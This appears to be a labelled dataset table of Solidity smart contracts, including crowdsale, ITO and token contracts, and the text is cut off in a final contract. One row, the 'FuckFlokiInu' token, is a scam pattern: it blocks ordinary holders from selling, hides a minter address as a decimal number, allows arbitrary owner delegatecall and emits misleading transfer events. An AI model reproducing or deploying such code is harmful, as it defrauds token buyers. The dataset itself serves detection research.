source_codes
stringlengths 72
205k
| labels
int64 0
1
| __index_level_0__
int64 0
5.56k
|
|---|---|---|
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract InvestedProvider is Ownable {
uint public invested;
}
contract AddressesFilterFeature is Ownable {
mapping(address => bool) public allowedAddresses;
function addAllowedAddress(address allowedAddress) public onlyOwner {
allowedAddresses[allowedAddress] = true;
}
function removeAllowedAddress(address allowedAddress) public onlyOwner {
allowedAddresses[allowedAddress] = false;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is AddressesFilterFeature, StandardToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public saleAgent;
mapping (address => uint) public initialBalances;
mapping (address => uint) public lockedAddresses;
modifier notLocked(address _from, uint _value) {
require(msg.sender == owner || msg.sender == saleAgent || allowedAddresses[_from] || (mintingFinished && now > lockedAddresses[_from]));
_;
}
function lock(address _from, uint lockDays) public {
require(msg.sender == saleAgent || msg.sender == owner);
lockedAddresses[_from] = now + 1 days * lockDays;
}
function setSaleAgent(address newSaleAgnet) public {
require(msg.sender == saleAgent || msg.sender == owner);
saleAgent = newSaleAgnet;
}
function mint(address _to, uint256 _amount) public returns (bool) {
require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
initialBalances[_to] = balances[_to];
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public returns (bool) {
require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished);
mintingFinished = true;
MintFinished();
return true;
}
function transfer(address _to, uint256 _value) public notLocked(msg.sender, _value) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address from, address to, uint256 value) public notLocked(from, value) returns (bool) {
return super.transferFrom(from, to, value);
}
}
contract TokenProvider is Ownable {
MintableToken public token;
function setToken(address newToken) public onlyOwner {
token = MintableToken(newToken);
}
}
contract MintTokensInterface is TokenProvider {
function mintTokens(address to, uint tokens) internal;
}
contract MintTokensFeature is MintTokensInterface {
function mintTokens(address to, uint tokens) internal {
token.mint(to, tokens);
}
}
contract PercentRateProvider {
uint public percentRate = 100;
}
contract PercentRateFeature is Ownable, PercentRateProvider {
function setPercentRate(uint newPercentRate) public onlyOwner {
percentRate = newPercentRate;
}
}
contract RetrieveTokensFeature is Ownable {
function retrieveTokens(address to, address anotherToken) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(to, alienToken.balanceOf(this));
}
}
contract WalletProvider is Ownable {
address public wallet;
function setWallet(address newWallet) public onlyOwner {
wallet = newWallet;
}
}
contract CommonSale is PercentRateFeature, InvestedProvider, WalletProvider, RetrieveTokensFeature, MintTokensFeature {
using SafeMath for uint;
address public directMintAgent;
uint public price;
uint public start;
uint public minInvestedLimit;
uint public hardcap;
modifier isUnderHardcap() {
require(invested <= hardcap);
_;
}
function setHardcap(uint newHardcap) public onlyOwner {
hardcap = newHardcap;
}
modifier onlyDirectMintAgentOrOwner() {
require(directMintAgent == msg.sender || owner == msg.sender);
_;
}
modifier minInvestLimited(uint value) {
require(value >= minInvestedLimit);
_;
}
function setStart(uint newStart) public onlyOwner {
start = newStart;
}
function setMinInvestedLimit(uint newMinInvestedLimit) public onlyOwner {
minInvestedLimit = newMinInvestedLimit;
}
function setDirectMintAgent(address newDirectMintAgent) public onlyOwner {
directMintAgent = newDirectMintAgent;
}
function setPrice(uint newPrice) public onlyOwner {
price = newPrice;
}
function calculateTokens(uint _invested) internal returns(uint);
function mintTokensExternal(address to, uint tokens) public onlyDirectMintAgentOrOwner {
mintTokens(to, tokens);
}
function endSaleDate() public view returns(uint);
function mintTokensByETHExternal(address to, uint _invested) public onlyDirectMintAgentOrOwner returns(uint) {
updateInvested(_invested);
return mintTokensByETH(to, _invested);
}
function mintTokensByETH(address to, uint _invested) internal isUnderHardcap returns(uint) {
uint tokens = calculateTokens(_invested);
mintTokens(to, tokens);
return tokens;
}
function transferToWallet(uint value) internal {
wallet.transfer(value);
}
function updateInvested(uint value) internal {
invested = invested.add(value);
}
function fallback() internal minInvestLimited(msg.value) returns(uint) {
require(now >= start && now < endSaleDate());
transferToWallet(msg.value);
updateInvested(msg.value);
return mintTokensByETH(msg.sender, msg.value);
}
function () public payable {
fallback();
}
}
contract AssembledCommonSale is CommonSale {
}
contract WalletsPercents is Ownable {
address[] public wallets;
mapping (address => uint) percents;
function addWallet(address wallet, uint percent) public onlyOwner {
wallets.push(wallet);
percents[wallet] = percent;
}
function cleanWallets() public onlyOwner {
wallets.length = 0;
}
}
contract ExtendedWalletsMintTokensFeature is MintTokensInterface, WalletsPercents {
using SafeMath for uint;
uint public percentRate = 100;
function mintExtendedTokens() public onlyOwner {
uint summaryTokensPercent = 0;
for(uint i = 0; i < wallets.length; i++) {
summaryTokensPercent = summaryTokensPercent.add(percents[wallets[i]]);
}
uint mintedTokens = token.totalSupply();
uint allTokens = mintedTokens.mul(percentRate).div(percentRate.sub(summaryTokensPercent));
for(uint k = 0; k < wallets.length; k++) {
mintTokens(wallets[k], allTokens.mul(percents[wallets[k]]).div(percentRate));
}
}
}
contract StagedCrowdsale is Ownable {
using SafeMath for uint;
struct Milestone {
uint period;
uint bonus;
}
uint public totalPeriod;
Milestone[] public milestones;
function milestonesCount() public view returns(uint) {
return milestones.length;
}
function addMilestone(uint period, uint bonus) public onlyOwner {
require(period > 0);
milestones.push(Milestone(period, bonus));
totalPeriod = totalPeriod.add(period);
}
function removeMilestone(uint8 number) public onlyOwner {
require(number < milestones.length);
Milestone storage milestone = milestones[number];
totalPeriod = totalPeriod.sub(milestone.period);
delete milestones[number];
for (uint i = number; i < milestones.length - 1; i++) {
milestones[i] = milestones[i+1];
}
milestones.length--;
}
function changeMilestone(uint8 number, uint period, uint bonus) public onlyOwner {
require(number < milestones.length);
Milestone storage milestone = milestones[number];
totalPeriod = totalPeriod.sub(milestone.period);
milestone.period = period;
milestone.bonus = bonus;
totalPeriod = totalPeriod.add(period);
}
function insertMilestone(uint8 numberAfter, uint period, uint bonus) public onlyOwner {
require(numberAfter < milestones.length);
totalPeriod = totalPeriod.add(period);
milestones.length++;
for (uint i = milestones.length - 2; i > numberAfter; i--) {
milestones[i + 1] = milestones[i];
}
milestones[numberAfter + 1] = Milestone(period, bonus);
}
function clearMilestones() public onlyOwner {
require(milestones.length > 0);
for (uint i = 0; i < milestones.length; i++) {
delete milestones[i];
}
milestones.length -= milestones.length;
totalPeriod = 0;
}
function lastSaleDate(uint start) public view returns(uint) {
return start + totalPeriod * 1 days;
}
function currentMilestone(uint start) public view returns(uint) {
uint previousDate = start;
for(uint i=0; i < milestones.length; i++) {
if(now >= previousDate && now < previousDate + milestones[i].period * 1 days) {
return i;
}
previousDate = previousDate.add(milestones[i].period * 1 days);
}
revert();
}
}
contract ITO is ExtendedWalletsMintTokensFeature, StagedCrowdsale, AssembledCommonSale {
address public lockAddress;
uint public lockDays;
function lockAddress(address newLockAddress, uint newLockDays) public onlyOwner {
lockAddress = newLockAddress;
lockDays = newLockDays;
}
function calculateTokens(uint _invested) internal returns(uint) {
uint milestoneIndex = currentMilestone(start);
Milestone storage milestone = milestones[milestoneIndex];
uint tokens = _invested.mul(price).div(1 ether);
if(milestone.bonus > 0) {
tokens = tokens.add(tokens.mul(milestone.bonus).div(percentRate));
}
return tokens;
}
function endSaleDate() public view returns(uint) {
return lastSaleDate(start);
}
function finish() public onlyOwner {
mintExtendedTokens();
token.lock(lockAddress, lockDays);
token.finishMinting();
}
}
contract NextSaleAgentFeature is Ownable {
address public nextSaleAgent;
function setNextSaleAgent(address newNextSaleAgent) public onlyOwner {
nextSaleAgent = newNextSaleAgent;
}
}
contract SoftcapFeature is InvestedProvider, WalletProvider {
using SafeMath for uint;
mapping(address => uint) public balances;
bool public softcapAchieved;
bool public refundOn;
bool feePayed;
uint public softcap;
uint public constant devLimit = 7500000000000000000;
address public constant devWallet = 0xEA15Adb66DC92a4BbCcC8Bf32fd25E2e86a2A770;
function setSoftcap(uint newSoftcap) public onlyOwner {
softcap = newSoftcap;
}
function withdraw() public {
require(msg.sender == owner || msg.sender == devWallet);
require(softcapAchieved);
if(!feePayed) {
devWallet.transfer(devLimit);
feePayed = true;
}
wallet.transfer(this.balance);
}
function updateBalance(address to, uint amount) internal {
balances[to] = balances[to].add(amount);
if (!softcapAchieved && invested >= softcap) {
softcapAchieved = true;
}
}
function refund() public {
require(refundOn && balances[msg.sender] > 0);
uint value = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(value);
}
function updateRefundState() internal returns(bool) {
if (!softcapAchieved) {
refundOn = true;
}
return refundOn;
}
}
contract PreITO is SoftcapFeature, NextSaleAgentFeature, AssembledCommonSale {
uint public period;
function calculateTokens(uint _invested) internal returns(uint) {
return _invested.mul(price).div(1 ether);
}
function setPeriod(uint newPeriod) public onlyOwner {
period = newPeriod;
}
function endSaleDate() public view returns(uint) {
return start.add(period * 1 days);
}
function mintTokensByETH(address to, uint _invested) internal returns(uint) {
uint _tokens = super.mintTokensByETH(to, _invested);
updateBalance(to, _invested);
return _tokens;
}
function finish() public onlyOwner {
if (updateRefundState()) {
token.finishMinting();
} else {
withdraw();
token.setSaleAgent(nextSaleAgent);
}
}
function fallback() internal minInvestLimited(msg.value) returns(uint) {
require(now >= start && now < endSaleDate());
updateInvested(msg.value);
return mintTokensByETH(msg.sender, msg.value);
}
}
contract ReceivingContractCallback {
function tokenFallback(address _from, uint _value) public;
}
contract Token is MintableToken {
string public constant name = "BUILD";
string public constant symbol = "BUILD";
uint32 public constant decimals = 18;
mapping(address => bool) public registeredCallbacks;
function transfer(address _to, uint256 _value) public returns (bool) {
return processCallback(super.transfer(_to, _value), msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
return processCallback(super.transferFrom(_from, _to, _value), _from, _to, _value);
}
function registerCallback(address callback) public onlyOwner {
registeredCallbacks[callback] = true;
}
function deregisterCallback(address callback) public onlyOwner {
registeredCallbacks[callback] = false;
}
function processCallback(bool result, address from, address to, uint value) internal returns(bool) {
if (result && registeredCallbacks[to]) {
ReceivingContractCallback targetCallback = ReceivingContractCallback(to);
targetCallback.tokenFallback(from, value);
}
return result;
}
}
contract Configurator is Ownable {
Token public token;
PreITO public preITO;
ITO public ito;
function deploy() public onlyOwner {
address manager = 0x66C1833F667eAE8ea1890560e009F139A680F939;
token = new Token();
preITO = new PreITO();
ito = new ITO();
commonConfigure(preITO);
commonConfigure(ito);
preITO.setWallet(0xB53E3f252fBCD041e46Aad82CFaEe326E04d1396);
preITO.setStart(1524441600);
preITO.setPeriod(42);
preITO.setPrice(6650000000000000000000);
preITO.setSoftcap(2500000000000000000000);
preITO.setHardcap(12000000000000000000000);
token.setSaleAgent(preITO);
ito.setWallet(0x8f1C4E049907Fa4329dAC9c504f4013620Fa39c9);
ito.setStart(1527206400);
ito.setHardcap(23000000000000000000000);
ito.setPrice(5000000000000000000000);
ito.addMilestone(10, 25);
ito.addMilestone(15, 20);
ito.addMilestone(15, 15);
ito.addMilestone(15, 10);
ito.addMilestone(30, 0);
ito.addWallet(0x3180e7B6E726B23B1d18D9963bDe3264f5107aef, 2);
ito.addWallet(0x36A8b67fe7800Cd169Fd46Cd75824DC016a54d13, 3);
ito.addWallet(0xDf9CAAE51eED1F23B4ae9AeCDbdeb926252eFFC4, 11);
ito.addWallet(0x7D648BcAbf05CEf119C9a11b8E05756a41Bd29Ad, 4);
ito.lockAddress(0x3180e7B6E726B23B1d18D9963bDe3264f5107aef,30);
preITO.setNextSaleAgent(ito);
token.transferOwnership(manager);
preITO.transferOwnership(manager);
ito.transferOwnership(manager);
}
function commonConfigure(AssembledCommonSale sale) internal {
sale.setPercentRate(100);
sale.setMinInvestedLimit(100000000000000000);
sale.setToken(token);
}
} | 1 | 3,289 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract FuckFlokiInu {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,142 |
pragma solidity ^0.4.19;
contract Coin {
string public constant symbol = "BTRC";
string public constant name = "Bituber";
uint8 public constant decimals = 18;
uint256 public _totalSupply = 0;
uint256 public _maxSupply = 33000000000000000000000;
uint256 public price = 2000;
bool private workingState = true;
bool private transferAllowed = true;
bool private generationState = true;
address public owner;
address private cur_coin;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => uint256) private etherClients;
event FundsGot(address indexed _sender, uint256 _value);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event TokenGenerationEnabled();
event TokenGenerationDisabled();
event ContractEnabled();
event ContractDisabled();
event TransferEnabled();
event TransferDisabled();
event CurrentCoin(address coin);
event Refund(address client, uint256 amount, uint256 tokens);
event TokensSent(address client, uint256 amount);
event PaymentGot(bool result);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier ownerAndCoin {
require((msg.sender == owner)||(msg.sender == cur_coin));
_;
}
modifier workingFlag {
require(workingState == true);
_;
}
modifier transferFlag {
require(transferAllowed == true);
_;
}
function Coin() public payable {
owner = msg.sender;
enableContract();
}
function refund(address _client, uint256 _amount, uint256 _tokens) public workingFlag ownerAndCoin {
balances[_client] -= _tokens;
balances[address(this)] += _tokens;
_client.transfer(_amount);
Refund(_client, _amount, _tokens);
}
function kill() public onlyOwner {
require(workingState == false);
selfdestruct(owner);
}
function setCurrentCoin(address current) public onlyOwner workingFlag {
cur_coin = current;
CurrentCoin(cur_coin);
}
function enableContract() public onlyOwner {
workingState = true;
ContractEnabled();
}
function disableContract() public onlyOwner {
workingState = false;
ContractDisabled();
}
function contractState() public view returns (string state) {
if (workingState) {
state = "Working";
}
else {
state = "Stopped";
}
}
function enableGeneration() public onlyOwner {
generationState = true;
TokenGenerationEnabled();
}
function disableGeneration() public onlyOwner {
generationState = false;
TokenGenerationDisabled();
}
function tokenGenerationState() public view returns (string state) {
if (generationState) {
state = "Working";
}
else {
state = "Stopped";
}
}
function setMaxSupply(uint256 supply) public onlyOwner {
_maxSupply = supply;
}
function enableTransfer() public onlyOwner {
transferAllowed = true;
TransferEnabled();
}
function disableTransfer() public onlyOwner {
transferAllowed = false;
TransferDisabled();
}
function transferState() public view returns (string state) {
if (transferAllowed) {
state = "Working";
}
else {
state = "Stopped";
}
}
function generateTokens(address _client, uint256 _amount) public ownerAndCoin workingFlag returns (bool success) {
uint256 de = _amount - balances[address(this)];
if (_maxSupply >= _totalSupply + de)
{
if (_client == address(this))
{
balances[address(this)] += _amount;
_totalSupply += _amount;
}
else
{
if (balances[address(this)] >= _amount)
{
transferFrom(address(this), _client, _amount);
}
else
{
transferFrom(address(this), _client, balances[address(this)]);
_totalSupply += de;
balances[_client] += de;
}
}
TokensSent(_client, _amount);
return true;
}
else
{
return false;
}
}
function setPrice(uint256 _price) public onlyOwner {
price = _price;
}
function () public workingFlag payable {
bool ret = false;
if (generationState) {
ret = cur_coin.call(bytes4(keccak256("pay(address,uint256,uint256)")), msg.sender, msg.value, price);
}
PaymentGot(ret);
}
function totalSupply() public constant workingFlag returns (uint256 totalsupply) {
totalsupply = _totalSupply;
}
function balanceOf(address _owner) public constant workingFlag returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public workingFlag returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to])
{
if ((msg.sender == address(this))||(_to == address(this))) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
else {
if (transferAllowed == true) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
else {
return false;
}
}
}
else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) public workingFlag returns (bool success) {
if ((msg.sender == cur_coin)||(msg.sender == owner)) {
allowed[_from][_to] = _value;
}
if (balances[_from] >= _value
&& allowed[_from][_to] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to])
{
if ((_from == address(this))||(_to == address(this))) {
balances[_from] -= _value;
allowed[_from][_to] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
return true;
}
else {
if (transferAllowed == true) {
balances[_from] -= _value;
allowed[_from][_to] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
return true;
}
else {
return false;
}
}
}
else {
return false;
}
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | 0 | 2,358 |
pragma solidity ^0.4.24;
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
pragma solidity ^0.4.24;
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
